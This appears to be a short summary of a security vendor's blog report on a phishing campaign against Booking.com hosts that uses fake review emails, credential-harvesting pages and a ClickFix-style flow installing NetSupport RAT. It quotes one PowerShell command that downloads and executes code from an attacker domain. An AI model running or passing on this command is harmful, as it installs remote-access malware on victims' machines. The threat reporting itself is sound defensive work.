Reviews used to attack Booking.com hosts with phishing and malware · Blog · Sublime Security

Sublime observed an active campaign targeting Booking.com hosts that uses review-themed phishing emails to deliver credential-harvesting pages and a ClickFix-style malware flow. Attackers use link spoofing and redirect chains to fake Booking.com links, deploy a clipboard-based PowerShell downloader (powershell -wi mi -EP B -c iex(irm apy-morpho.org)), and fetch a payload that installs a maliciously configured NetSupport RAT with persistence and C2 endpoints; the report includes domains, scripts, sample payloads, and detection signals.